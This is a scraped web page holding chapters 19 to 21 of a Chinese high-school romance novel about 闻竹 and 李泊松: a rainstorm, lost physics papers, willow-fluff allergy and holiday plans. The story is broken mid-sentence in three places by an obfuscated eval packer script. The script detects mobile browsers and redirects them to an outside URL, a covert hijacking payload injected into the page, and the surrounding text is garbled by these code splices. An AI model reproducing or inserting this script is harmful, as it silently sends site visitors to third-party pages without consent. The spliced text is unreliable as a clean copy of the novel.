$(''#content'').append('' 不介意的话可以用。” 她说这话的时候语气平常,许璐瑶却有些惊讶。因为在大多数女孩子心里,分享私人物品是亲密的朋友之间的行为。 她想了想,问:“你不介意?” “我如果介意就不会问你了。” “……谢谢。” 见许璐瑶伸了手,闻竹把黑色的管状口红递过去,又听到她说:“陆昊然那件事,我一直都没和你说,谢谢你帮我骂他。” “你说那件事啊,”闻竹把许璐瑶还给她的口红放回包里,“这不算帮你,他本来就该骂。” “我拒绝他是因为我不喜欢他,也不想谈恋爱,和别的都没关系。我知道你……” “我知道你想说什么,”闻竹语气温和地打断她:“你不需要为拒绝别人找理由的,这又不是你的错。” 许璐瑶不需要因为那件事情给她道歉,她也不知道该怎么说好,就索性把这件事搁置一旁。她们两个这半年来只是不算好朋友,但并不是互相讨厌的关系。 许璐瑶抿唇笑了下,眼睛有点发红,但再抬头的时候就看不出什么来。她和闻竹说:“我以前就觉得你漂亮,但你骨相好看,化点妆就更美了。” 闻竹撑着下巴:“你也好看,这个口红颜色很适合你。” - 主持人下台和一班的节目之间有一小段安静的时间,在这种安静里,李泊松靠在音乐厅的椅背上代入闻竹的视角重新想了下这件事,就没听到旁边人说什么。 在他们三个都看向他的时候,李泊松岔开话题道:“那手机呢,最后有没有解决?” “岩姐在政教处拿回来的。她很不高兴,因为岩姐觉得不管是谁都不能随随便便翻别人的书包。”路一杭摊了下手,“都没因为闻竹带手机批评她。” “岩姐真的很好。”毕雨泽指了指自己的额头,黝黑的皮肤很光滑,李泊松没看出什么门道来,就听他接着说:“我上半学期去吃烧烤,脑袋撞到楼梯的横梁上了,没感觉疼,但是看着特别吓人,岩姐把我叫到办公室,问我是不是和人打架了,需不需要她帮忙。我不是住校嘛,我爸妈经常不在本地,医药费都是她垫付的……” 毕雨泽挨骂的次数并不少,在全班同学中都能占个前列,他每次被批评被罚后都心服口服的,李泊松大概也明白了。 刚刚他们在后台的时候偷看了看了眼节目单,闻竹和许璐瑶竟然是要给“后妈茶话会”配音,而且闻竹根本没让他们看到裙子的样子,他们几个被吊足了好奇心。 在舞台幕布揭开后,在场所有观众都被她们两个的妆造惊了一下。 两个女生都长得漂亮,妆造认真,穿着古典的礼服裙。闻竹戴着王冠的头饰,许璐瑶戴了一顶纱质的黑色礼帽。然而配乐响起的时候,大家又同时忘记了别的,只看到了完美的配合和表演。 配乐结束后,在掌声雷动时,闻竹摘下戴着的王冠,在舞台中央和许璐瑶拉手弯腰致谢。 在抬头的时候,灯光明亮,她看到了李泊松还有朋友们都在鼓掌。 掌声不息。 19. 四月骤雨 孟丽岩上节课是一班的,下课后她给一班的几个学生解答了一些问题,迈出教室时预备铃已经打响了。她回办公室路过自己班,发现班里乱成一锅粥,大家对铃声罔若未觉。 “咱们班的音响坏了是吗?所以你们听不到铃声?”她站在门口,面无表情地问道。 班级里瞬间安静得落针可闻。 这几天的氛围都比较活跃,大概是学校组织的英语大赛并没有想象中那么无聊,而难得的集体娱乐活动又让大家很兴奋。岩姐在听到成绩的时候也很高兴,但后来发现大家连着好几天都收不了心,就高兴不起来了。 “心如平原跑马,易放难收。玩就好好玩,学就认真学,你们什么时候能懂得这个道理?马上就是五一假期了,假期回来就是期中考试,你们自己心里没数吗?” 她的手指在门框上敲了敲,语气严厉。 “既然说到考试了,那就借机会宣布一件事。各个班都已经结课了,经过年级组老师的商讨,我们决定从这次期中考试开始实行高考模式,也就是说物化生一张卷子,考理科综合。” 听到这,闻竹有点惊讶,她侧侧脑袋,毫不意外地听到了周围小声的哀嚎。 孟老师对他们的反应表示满意,连结束语都没说就抱着卷子走出了班级。深藏功与名。 徒留大家窃窃私语:“高二下学期就考理综啊,这比我妈打我还不讲道理……” 老陈在门口围观了一会儿大家得知“噩耗”后的“惨状”,这才施施然走进了教室。 闻竹往旁边看了眼,发现旁边人还在睡,只好面无表情地怼了他一下。李泊松被怼醒了,揉了把脸,一抬眼发现讲台上已经换了个老师。 闻竹无法想象李泊松这种精力过剩的人会从上节课的后半截一直睡到这节课开头,她凑过去小声提醒道:“你清醒一下……昨天晚上做贼去了?” 其实是因为他妈妈住院了,李泊松这几天住在医院,上学需要从那边过来。虽然熬夜对他来说是家常便饭,熬到多晚都没什么大问题,但早起就不行了。早起打球跑步可以,早起之后还要上学,困意来了他完全顶不住。 这种事情一时半会说不清,说了闻竹还会惦记。他压低声音,睡了半小时的嗓子有些哑:“没事,昨晚有点没睡好。” 三班的座位是按照成绩选的,闻竹没怎么考虑,依然选择了倒数第二排的位置,路一杭这次没当他同桌,而是坐在了闻竹后边——也就是李泊松原来的位置,李泊松第三个选座位,坐在了闻竹旁边。 别的班级的尖子生都从第一二排开始选,他们班的尖子生从倒数一二排开始选,岩姐扶额,也不知道说什么好。 后来毕雨泽问路一杭为什么选这个座位,路一杭懒得说话,他诧异:“难道是想和我做同桌?” “……你又开始自作多情了。” 闻竹看热闹不嫌事大,在他们两个打起来之前煽风点火,猜道:“是给李泊松下战书吧,毕竟坐了他原来的位置。” “嗯?”李泊松及时接话:“欢迎啊,期中考试比一比。” “下注吗?”曲思嘉漂亮的眼睛更亮了。 “不行!!” 路一杭觉得自己好像火锅里的毛肚,被大家挨个涮了一遍。 他本来就喜欢最后一排,出来进去都方便,在英语课上做数学题也很安全,因为前排空了个座位,岩姐把闻竹的同桌曲思嘉调到了第三排,他这才成了闻竹的同桌。 路一杭无语道:“有没有人在意我,我还没说话呢……” - 午休过后,在班级多媒体放的那首重金属摇滚声中,李泊松彻底清醒了。他解锁手机,短暂纠结了一会儿,给他妈妈发了条信息,问她今天情况怎么样,有没有不舒服。 他妈妈回得很快,说和计划一样,明天就能出院了,今天下午有雨,晚上应该也停不了,叫他不要去医院了,小心感冒。 李泊松回了消息,退出对话框后看了眼天气预报,在360度环绕的音乐声里抬高些音量和闻竹说:“下午好像有雨。” “哦,”闻竹靠他的口型分辨出了这句话,她淡定道:“我带伞了。” “哎?” “我可以借你。”闻竹偏头,指了指他:“别大惊小怪呀,谁和你一样——从来不看天气预报的人。” 李泊松心满意足:“提前谢谢你了,竹子。” “……”闻竹一脸拒绝:“别这么叫我。” 第七节课的上课铃打响,外面依然晴空万里,连一朵乌云都看不见,没有一点下雨的预兆。岩姐拿着卷子,一边讲题,一边在教室里巡视着。 她在李泊松身边站了会儿,讲到一个重要的知识点,刚想抬步往讲台走,说话的时候麦克风发出了一声嗡鸣。 周围一圈同学都吓了一跳,觉得这声音刺耳,孟岩淡定地盯着李泊松看了一会儿,问他:“你手机忘关机了吧?” 谁每天揣着手机上学,孟老师心里都有数,她甚至没问李泊松带没带手机,直接切入正题。 闻竹探究地看了眼李泊松。 当事人看起来却很淡定,他想回话,岩姐却摆手,拿着卷子接着讲课。 岩姐刚踏上讲台,下课铃适时打响了,李泊松长舒一口气。 下达下课的指令后,岩姐就从前门出去了,好像把李泊松这件事忘在了脑后。闻竹觉得有些好笑:“你还怕被没收手机?”这一点也不像他的性格。 “还好吧,”他低声解释:“就是不想让自己多个麻烦。” “唔?”闻竹觉得他这两天情绪有些低落,熟练地开了句玩笑,“叛逆期过了啊,李泊松同学。” “你才知道?”他笑了声,握着笔在卷子上勾画了两下。 闻竹在收拾桌面,两个人的胳膊无意间碰到了一起,李泊松停下笔,有点走神。 “……李泊松。” “嗯?”他思绪飘了回来,看到闻竹站着准备出去,反应过来是自己挡了路。“叫了你好几声。”闻竹指了指他的书包,又提醒他:“关机。” 他起身,把椅子往前推到桌子里。闻竹低头看了眼那道让他一直没动笔的题。 这么简单,不是一眼就能看出答案吗,这人溜什么号呢。 - 四月末的雨说来就来,明明下午还没什么预兆,晚课前却突然倾盆而下,一声闷雷打在耳边的时候,闻竹看了眼旁边空着的座位。 没几秒钟她同桌就出现了,闻竹看着他熟练地把搭在肩上的校服拿下来,而后迅速叠好塞进桌格,拧开了一瓶水。 每次的动作都这么行云流水,而且吃完饭就打球真的好吗…… 闻竹腹诽着,手指翻了一页书。 晚饭时间不算短,距离晚课开始还有十分钟,这段时间是班级最吵闹的时候,闻竹在看一本推理小说。李泊松瞥了一眼,是前几天路一杭在曲思嘉那儿借的,他看完之后又被闻竹借去了。再定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079136|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛一看,发现“读书漂流”的这一本他以前就看过。 “你们今天没打到铃响再回来?” “铃响再回来的话……”他偏头看了眼外边乌云遮蔽的黑幕,心有余悸:“浑身上下就湿透了。” 闻竹点头:“这本书你是不是看过?”她看李泊松愣住的表情,提醒道:“初二的时候。” “对……”李泊松只是诧异于她还记得。 “凶手是谁啊?是这个丹尼斯先生吗?” “啊?”李泊松短暂地愣了下,后又笑笑,语气轻松地问:“你看推理小说也不怕被剧透?” “有什么关系,看小说而已,随心所欲嘛。”她合上书,朝窗外钟楼的位置看了眼,还有五分钟打铃。“所以是不是啊?” “不是,”李泊松觉得自己也挺厉害的,这么多年了竟然还完整地记得这本书的凶手和诡计,他答道:“有反转呢,其实是……” “停,”闻竹当即改变了主意,比了个暂停的手势,“那你不要再说了,我接着看。” 李泊松做了个封口的手势,好脾气地闭了嘴。 外面电闪雷鸣不停,很多同学都在担心他们回家的问题。因为这场骤雨,毕雨泽他们夜训也停了,在下雨的前几分钟,教练英明地放他们回了班级,使得他免于一次挨浇。 他和一个其他班的队友一起进了门,把一对护腕递给队友之后就坐在座位上打开手机,突然“嗷”了一声,周边好几个同学都朝他的座位看去。 “完蛋了,岩姐在班级群里说她和英语老师被困在食堂了,问咱们谁带伞了,帮忙给她送两把。” 毕雨泽这边话音刚落,他们就知道他为什么说“完蛋了”。 孟丽岩的规矩是带手机上学可以,不影响学习的话她就睁一只眼闭一只眼,但必须保证关机,并且绝对不允许在教学楼里玩手机。 不过高中生活比较枯燥,规矩越严格就越少不了顶风作案的人。 闻竹和曲思嘉刚从教室外边进来,站在离毕雨泽最近的过道围观了全程。 曲思嘉笑他:“你今天怎么想起来看手机了?平时你都不看的。” “我想看看我那几个队友挨浇了没有,我进教学楼之前他们去超市了。”毕雨泽愤愤地想,本来想在知道他们挨浇之后嘲笑几句的。他扶额:“真头疼啊。” “会不会是故意诈你们的?”队友还没走,低头看着纠结的毕雨泽,“我们班老师会为了抓手机想尽一切办法,无所不用其极……” “那不可能。” 听他这么说,毕雨泽倒是很确定。 他们几个的意思都很明确,虽然在教室里看手机不对,但好在看见了这条消息,不然这么大雨没有伞会被浇透,体质不好的回去必然得折腾几天。 闻竹在座位上翻找自己的伞,李泊松把手伸进包里去拿手机:“我在群里回复,反正岩姐知道我带手机了。” “不用,我就握着呢。”毕雨泽拦住他的动作:“咱们有难同当了,岩姐不挨浇就行,希望她不要因为我玩手机生气。”他比了个祈祷的手势,抓过伞问李泊松:“一起去啊?” “走。”李泊松直接顺着桌沿轻巧地翻了出去。 闻竹无语道:“你好好走路……” 一分钟后,路一杭抱着今天晚上的周测卷子从后门进来,问:“外面这么大雨,他们两个呢?” 曲思嘉帮他发卷子,随口答道:“刚出门,给岩姐送伞去了。” 20. 柳絮纷飞 “李泊松?” 闻竹在十字路口处按了车闸,一只脚踩着踏板,另一只脚踩在马路沿上。看到男生转身,她歪歪脑袋,当作打招呼。 李泊松站在三级台阶上垂眸,觉得有些意外。他把自己武装得很严实,只露出了一双眼睛。 闻竹看着他,能看出他眼睛在笑。 “怎么想起骑车了?要去哪儿?” 这车子他没见过,碳架的,很漂亮。他很久没见到闻竹骑车了,一时间有点移不开眼。 “冬天冷才不愿意骑的,现在暖和了啊。”闻竹说完,忘了还有第二个问题,抬头看了眼李泊松站的店面的牌子,和他说:“我也要吃熏肉大饼,不要葱。” 李泊松说“好”,转头朝窗口说了两句话,又拿手机扫了码。 他三两步走到闻竹身边,还没说话,就听闻竹问:“这家好吃吗?” “第一次吃。”李泊松毫无负担地回答。“闻竹同学,这家店开了四年,你在这上了一年半的学,你不知道?” “不是,”闻竹纳闷:“你第一次吃,你怎么知道他家店开了四年?” “大爷自己说的啊。” “……”这是又和人家聊天了,闻竹很服气,一时间无话可说。 在路灯下,一阵风吹过,柳絮纷飞,她眯着眼睛盯着李泊松看了会儿,忽然想起了什么,问道:“你又过敏了?” “没有,”李泊松看她皱眉,很轻地笑了下,纠正道:“是怕过敏。” 马上来到五月,北方的天气早已热起来,晚上有风也不冷,她单穿一件薄T恤,李泊松却从头到脚捂得很严实。他戴了口罩,穿衬衫当外套,袖口的扣子紧扣着,几乎没有皮肤暴露在外面。 “热吗?” 李泊松颇为幽怨地看着她,在闻竹意识到自己可能说错话之后又笑了:“还好。”他问:“帅吗?” “……帅。” 他满意了:“那就行了。” 闻竹知道李泊松柳絮过敏,他症状不算严重,但过敏不是小事,所以他从小就重视,一到五月份左右就如临大敌一般,口罩护目镜都得准备好。临城的五月气温几乎都在三十度以上,他要穿着长袖长裤半个多月,想想也挺难熬的。 李泊松很早就开玩笑地和她说过,医生对这种过敏也没办法,甚至还建议他换个城市生活。 想到这,闻竹眨了下眼睛,问他:“宁城的五月有这么多柳絮吗?” 李泊松摇头。 闻竹头一次怜爱地看了他一眼:“那你不如在那边高考了……”话音刚落,她咬了下自己的舌头,心说是和李泊松在一起太放松了吗,她说话都不动脑子的。 他在什么地方生活,又在什么地方读书,这哪儿是他自己能决定的? 她看李泊松的眼睛,那人像是完全不在意,开玩笑道:“我喜欢这个城市,不可以?” 他话音还没落地,那个大爷往前探着身子招呼他:“小帅哥,饼好了,趁热吃!” 李泊松转身应了一声,又三两步迈到窗口把饼接过,在大爷关上橱窗前说:“谢谢。” 大爷豪爽道:“不谢不谢,好吃再来!” 闻竹接过饼闻了一下,看着李泊松语气认真地说:“挺香的,应该好吃。” 李泊松挑眉看她。 他们两个站在十字路口,下班高峰过了,路口的车寥寥几辆。天是一瞬间黑下来的,路灯忽然亮起,洒在两人的身上,再往上,明月高悬。 “我刚才问了两个问题,”李泊松抬头看了眼月亮,又看闻竹:“你只回答了一个。” “嗯?”闻竹想了想,说道:“不然你再问一遍?我忘了。” 李泊松看着她,眼睛里笑意很明显,嘴上却故意道:“你没听我说话都不会愧疚么,装一下也行啊。” “懒得,”闻竹努力想了下,真想不起来了:“你快说。” “我问你做什么去?”他侧了侧头,“天都黑了。” “去学校取物理卷子,”闻竹叹气,“全都落在班级了。” 大概是在给五一假期和期中考试预热,最近几天他们每科老师都会留很多作业,闻竹的几张物理卷子全都没带回家,也不知道周一老师讲课的时候她听什么,于是在家磨蹭了一会儿,还是出来取了。 李泊松也是对她丢三落四的性格有深刻了解的人,他“嗯”了声,又有些好奇地问:“今天周六,你一个晚上加一个白天都没发现自己卷子没带回家?” 这话好像就是在问她:你都不学习的吗? 闻竹:“我不喜欢物理,不想写……” 虽然这个时候飞絮较少,但他还是觉得周围的环境让人不太舒服,他弯弯眼睛:“需要我陪你去吗?” 这话在闻竹那儿大概自动转变成了他也想去,于是她说:“走吧。” 李泊松笑笑:“我不去也行。” “……”闻竹能屈能伸,说:“去吧,我请你喝杨枝甘露。” 他挑眉,看着闻竹用黑色的锁链在车子和树上绕了两圈。 “好了。” 这会儿学校里还有高三的学生在上自习,高三楼灯火通明,衬得另外两栋教学楼更黑更阴暗了。闻竹和李泊松走到门卫那儿,闻竹说了下他们两个来的理由,一中安保很严,闻竹还带了自己的胸卡。 “进去吧。” 她笑着道了声谢,转头看李泊松,李泊松没带能证明身份的东西,但她忘了人家门卫大爷认识他。这样,两个人都顺利地进了校门。 闻竹走在高二的教学楼里,再一次感慨她还好不是自己来的。 她觉得怕黑是个很广义的概念,她应该不算怕黑,但整栋楼从上到下都是漆黑一片,静得掉根针都能听见,还是有些让人发怵的,况且学校的鬼故事那么多,比如…… “想什么呢。”李泊松忽然出声,吓了她一跳。 李泊松也不想吓她,但闻竹很显然走神了,到了三楼都不知道转弯。闻竹缓过神来,拐进走廊,声控灯随着动静响了。她无意识地往李泊松身边靠了一些。 “这也太黑了,多亏你在。” 走到班级门口,李泊松按着门把手,却没按开门。走廊里的白炽灯亮着,闻竹走到后门,抬手往门框上够了一下,没够着,李泊松走过去要帮她,闻竹跳了下,摸到了钥匙。 他脚步顿住,闻竹朝他歪歪头,李泊松无奈地笑了下,竖了个大拇指。 熟悉的铃声响起,紧跟着,那几首歌又开始循环播放了,今天是那些花儿。然后高三楼从寂静变得热闹起来,那边的窗户上人影憧憧,晃动的、打闹着。 这会儿闻竹觉得有人气了,也不怕什么深夜教学楼鬼故事了,虽然这会儿根本算不上深夜。李泊松进门开灯,教室瞬间一片明亮,像装了日光的宝盒。他就在教室门口倚着,也没干别的,就看闻竹翻箱倒柜。 是真的翻箱倒柜,“箱”是桌格,“柜”是班级后边她的储物柜,闻竹甚至在经过了李泊松同意后翻了他的桌格,一无所获。她刚开始的时候还跟着广播里的歌哼,后来也不哼了。 李泊松也帮她翻了一会儿,两人一无所获。最后只好在群里发起失物招领。 路一杭:【泊松你回家找找,会不会在你那儿?】 李泊松觉得这个概率不高,但卷子也不会凭空消失。卷子这东西在大街上扔十天半个月都不会有人拿,如果丢了只可能是被风吹走。他抬了下手,招呼闻竹:“走吧?你不走它们也不会长腿自己跑出来,回家看看在不在我那儿。” “为什么会在你那儿?” 他笑:“猜的,万一呢。如果还是没找到,咱们就复印一下。” 闻竹问他:“你还没写?” “写了啊。” “……”她几不可察地叹气:“麻烦你白跑一趟了。” “你跟我客气什么?”李泊松关了灯,又开始锁门,“其实不管你找没找到,对我来说都算是白跑一趟,毕竟卷子是你的不是我的,我来这儿又不是来找卷子。” 闻竹懂了:“是为了陪我。” “哎你……”李泊松对她没办法,他抬了下胳膊把钥匙放回原来的地方,心想算了,嘴上说:“走吧。” 他们两个来这一趟挺有意思,拎着两张熏肉大饼来,又拎着两张饼走,好像是闲着没事来学校溜达的。大概二十分钟之后,他们两个拎着两杯杨枝甘露进了李泊松的家门。李泊松还是先弯腰给闻竹找鞋,然后自己换了鞋走向卫生间。 “你先吃饭?我去找找。” 李泊松给她找卷子,她坐着吃饭,这也太不像话了,于是闻竹说:“我也去。” “嗯?”他开玩笑问:“你来见证奇迹啊?” 只要闻竹想,他的话就不会落地上。“差不多吧,主要是见证有没有奇迹。” 李泊松被逗笑了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079137|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >过了一会儿,两人看着桌上翻找出来的几张空卷子,面面相觑。闻竹问:“怎么会在你这儿啊?” 问完,她抬眼看着李泊松,像是真的希望他能给一个答案。 “……”李泊松只好努力地回忆了一下,觉得自己在柳絮过敏这段时间就是脑子不太灵光的。 倒是闻竹福至心灵地想到了。 她管李泊松借了周测的数学卷子,想看看他是怎么答的,李泊松当时已经抱着球走出好几步了,闻竹当时觉得他可能听不到,但他回了头,他转着球,说卷子在书包里,叫闻竹自己去拿。 闻竹不客气地伸手过去,直接把整个卷子夹都勾了过来。 两分钟后曲思嘉喊她去上体育课,她匆忙之中收拾桌子,把刚刚发下来的自己的卷子也塞进了李泊松的夹子里。 “还附赠了一支笔,”李泊松翻着夹子,挑眉道,“这是不是你说最好用的那支?” “嗯,”闻竹点头,“我的梦中情笔。”她眼神真诚地看着李泊松,李泊松也不逗她了,把卷子和笔都递给她。 “过来一起吃饭吧?” 李泊松点头,笑了:“行。” - 三个小时之后,时针指向十一点,小区里并不冷清,有很多下了晚自习或者出去上课刚回家的学生,曲思嘉站在闻竹家单元门口等她。 她最近这段时间成绩下降了,学习状态也不太好,于是在自习室里跑了出来,想借机放松一下。闻竹拿着一个透明保鲜盒下了楼,又把盒子塞进曲思嘉怀里。 “你不是说饿了?我家里正好有刚做的蛋挞,还热着呢。” 曲思嘉惊喜地接过:“谢谢,我的宝宝……”她拖着调子,“你自己做的啊。” “嗯,”闻竹有点孩子气地说:“做题做得很崩溃,吃点甜的安慰一下自己。” “你也安慰我了。”曲思嘉拍拍她胳膊。 两人顺着小区里的砖石路走着,曲思嘉好奇道:“你说李泊松家也住这里,和你家很近吗?” “就是这个单元。” 也是赶巧,两人正好走到李泊松家楼下,闻竹往花坛那边走了两步,抬眼看了眼四楼的窗子。 葱郁的树遮住了月光,树影婆娑,在黑暗中随着风轻轻摇曳。在这浓重的黑夜中,她一眼就能看出哪一扇是李泊松眼前的窗。 五分钟前,他们两个都没做出数学卷子的最后一道大题最后一问,闻竹说:“我不算了,我睡了。” 李泊松也说:“嗯,晚安。” 闻竹又问:“那你呢?” 那边回:“我也睡。” 她看了曲思嘉一眼,又抬头,明亮的灯光从窗子中偷跑出来,像乌云遮不住的月亮。 她自言自语道:“这人怎么不讲信用啊。” 曲思嘉递给她一个疑惑的眼神。 闻竹解释了一下来龙去脉,曲思嘉毫不意外:“你们两个都是卷王,谁也别说谁了。” 她反思了一下,觉得有道理,她笑笑,听到曲思嘉问:“做的哪道题啊?这么痛苦。” “就那套数学卷子,最后一道大题。” 曲思嘉点头,心满意足:“看到你们两个也这么痛苦,那我就不痛苦了。” 闻竹懂了,表示很理解她。 “走吧?” “走,想吃门口奶茶店的冰淇淋了。”闻竹说。 曲思嘉被勾起了馋虫,欣然答应:“最近出了新口味,抹茶的,我们去尝尝!” 她们刚要走,听到了单元门那边传来了几下响动,铁门晃动了两下,然后开了。这么伸手不见五指的晚上,李泊松依然“全副武装”,戴着口罩,穿着黑色的外套和长裤。 三个人沉默了会儿,李泊松先说:“嗨。” 这才互相打了招呼。 他眼睛看着闻竹,先发制人:“你怎么说睡觉也不睡?” 闻竹对这种行径表示惊讶,她说:“啊?那你呢?” 李泊松像是这才想起来自己说过的话,闻竹看不清他的表情,但感觉他笑了下,“我下来买罐可乐。” “哦,”闻竹点了下头,“注意身体,喝太多可乐不好。” “行,”他好脾气地答应着,随后问:“你们做什么去?” 曲思嘉这没心眼的即答:“闻竹说吃冰淇淋。” 闻竹:“……” 李泊松说:“……你也注意身体。” 21. 假期愉快 “长达六天的假期啊!”曲思嘉调动两只手数数,而后双手捧心,“我要怎么挥霍呢?” 在她畅想未来的时候,三班的教室里正飞着漫天的卷子。 闻竹托着腮看李泊松分门别类地整理它们,颇为慈祥地摸了下她的头发。 “不管怎么挥霍,至少得拿出三四天来写作业,这是必然的事情。” 在曲思嘉转过头的时候,她“喏”了声,朝收纳大师李泊松那边抬了抬下巴。 足足有小半本书厚的作业,看着够吓人的。 闻竹并不在意各科都发了多少张卷子,她也不是李泊松那种做事有条理的人,只动作麻利地把它们摞到一起,让它们各四角对齐,用黑色夹子夹起来直接塞进了包里。 这个新买的夹子正正好好,李泊松感叹:“你早就想到会拥有这么多假期作业吧?料事如神啊。” “……” 周围的气氛热火朝天的,李泊松和闻竹一样的平静无波澜,他刚才听到了她们两个说话,好奇道:“你呢,假期做什么?” 闻竹不假思索地答:“写作业。” “不出去玩?” “不去,有寒暑假的人为什么偏要在五一假期去景点看人头?” 李泊松笑了:“也是,但叔叔阿姨没有寒暑假啊。” 天啊,闻竹心想,把这事忘了,她妈妈每年都会带她们两个去旅行,今年一定也跑不了。 不管家长们是怎么想的,他们几个竟然都一致认为五一假期没有去旅行的必要,人流量太大了,车站都堵得水泄不通。 但是放假当然不能只蹲在家里写卷子。 “作业再多也不能耽误了娱乐。”曲思嘉如是说。 “最好的娱乐就是在家看剧打游戏,”路一杭评价道。 每个节假日都有很多游客来临城看海,本地人要么选择去外地,要么选择不出门。 这时候,李泊松发出了一个转校生的疑问:“咱们学校没有运动会吗?” 无论是初中还是之前在宁城的高中,李泊松所在的学校都是开春季运动会的,四月初大家就开始热火朝天的讨论从参加项目的事情了,这一个月以来,大家都没有丝毫的动静。 明天就正式放假了,李泊松现在终于想起来问这个问题。 “一中一直是秋季运动会,十一假期之前开。” 毕雨泽是体委,每年都负责给运动会凑人数。他笑眯眯地拍了下李泊松的胳膊,心里的算盘噼里啪啦地响。“你肯定能上不少项目,是吧,泊松?” 他点头:“这样说的话,毕业之前就只有一次运动会了。” “你好像很失望?”闻竹偏头。 李泊松也看着她,一点儿也没掩饰。 闻竹想了一会儿,忽然问大家:“附中不是开运动会吗,今明两天,要去吗?” 他们四个很统一地愣了一下。 虽然李泊松的本意并不是去看运动会,但他率先反应过来,一口答应了。 “对哈,附中有运动会。” 他们几个叽叽喳喳了一会儿,最后决定明天在附中汇合。 路一杭推了下眼镜,问了个关键问题:“附中可以随便进去吗?” 李泊松笑了:“进不去就翻墙嘛。” 闻竹想起了开学初的丢人事件,有些无语地怼了下他的胳膊。 - 附中和一中离得不算太远,但两所学校风格不同。附中在商圈,很热闹。一中不远处就是滨海北路,旁边多是一些景点和住房开发商,占地面积大。这两所学校是临城数一数二的重点高中,有着各自独特的优势。 高压之下的高中生们难得没在假期睡懒觉,一大早就在群里聊起了天。毕雨泽说他马上就出发了,曲思嘉代替路一杭回话,说他们两个一起去。 【毕雨泽:为什么?】 【曲思嘉:我们家离得近啊,直线距离都没有一千米。】 【毕雨泽:啊?小路你不骑车?】 【路一杭:我去蹭车,我车子的脚蹬昨天被我蹬坏了。】 【毕雨泽:震惊.jpg】 【毕雨泽:用脚蹬的?】 【路一杭:……脚蹬脚蹬,你说用什么蹬的?】 闻竹刚梳好头发,看到这对话笑得不行。 【L:你这车坏的有点频繁啊。】 【一支竹子:脚蹬跟你有仇?】 【路一杭:……】 还是平时最不靠谱的毕雨泽拉回了话题。 【毕雨泽:你蹭啥车?@路一杭】 曲思嘉发了一张电动车的图片,是她前几天刚买的。 【毕雨泽:你骑车载着路一杭??】 【曲思嘉:路一杭载我!】 闻竹扑哧一声笑出来。 路一杭多重她并不清楚,但曲思嘉刚学会骑电动车没多久,是不能接受后座放重物的,而且她对骑车载人有点阴影。 想到这,闻竹又在心里捏了把汗。 毕雨泽显然也想到了那件事,他在群里让他们注意安全。 【曲思嘉:在车技这方面,比起闻竹,我还是更愿意信任路一杭……】 李泊松又适时地出来冒泡。 【L:嗯?有什么故事吗?】 这人对八卦还挺敏锐的。 闻竹腹诽完,不想让他知道更多自己丢脸的事,就在群里打断他的话。 【一支竹子:李泊松,你怎么走?】 【L:和你一起走。】 【一支竹子:行,等我五分钟。】 从聊天记录来看,这一定是没有提前约,一个人说了另一个就痛快地答应了。 这默契是哪里来的?毕雨泽很愤怒。 【毕雨泽:就我没有伙伴是吧!】 - 闻竹和李泊松到得早,在附中门口吃早餐。 毕雨泽到了之后先把自己的电动车锁在附中门口,正准备在群里发消息问大家都在哪儿,隔着双行道就看到了在早餐店门口坐着的两个人。 李泊松也看到他了,远远地招了下手。 他吃东西很快,余下的时间就坐在早餐店的塑料凳上看闻竹吃。 闻竹被人盯着胃口也很好,她晃了下自己手里的奶黄包,问:“你要吃这个?桌上还有啊。” 对面的人摇头:“我吃饱了。” 那你盯着我做什么…… 话还没问出来,毕雨泽就走到了他们旁边。 闻竹在吃饭的间隙也和毕雨泽打了招呼,李泊松比她热情,单手在身后拖了个闲着的凳子放在旁边。 毕雨泽感恩地坐下,背对着马路。 “你今天帅啊,泊松。” 他盯着李泊松看了会儿,语气夸张地夸了一句。 “我每天都挺帅的吧。”李泊松弯着眼睛开玩笑。 “看你穿校服习惯了,第一次见到你穿颜色这么鲜艳的衣服。” 他点头,毫不客气地接受了夸赞:“谢谢哥,吃点。” 毕雨泽摆手说不吃,看到闷头吃东西的闻竹抬了头,这才想起朋友之间应该一碗水端平,于是补充:“你今天也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079138|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好看,闻竹。” 闻竹扯了下嘴角:“谢谢你啊……” “你们俩到得这么早,怎么来的?” “地铁,”她喝了口豆浆,说道:“二号线直达。” 早餐店老板戴着围裙在铺子旁围着围裙炸油条,面团一入油锅,没一会儿就变成酥脆蓬松的样子。捞出来后阳光下金灿灿的一排摆在盘子里,袅袅炊烟再晨雾中缓缓上升。 在回话的间隙,闻竹没掩饰自己的目光,就那么盯着李泊松看。 他还是习惯运动休闲风,只不过今天穿了件红色的棒球外套。这人总在烈日下打球,这么多年也没晒黑一点,皮肤白,穿鲜艳的颜色帅得更加扎眼。 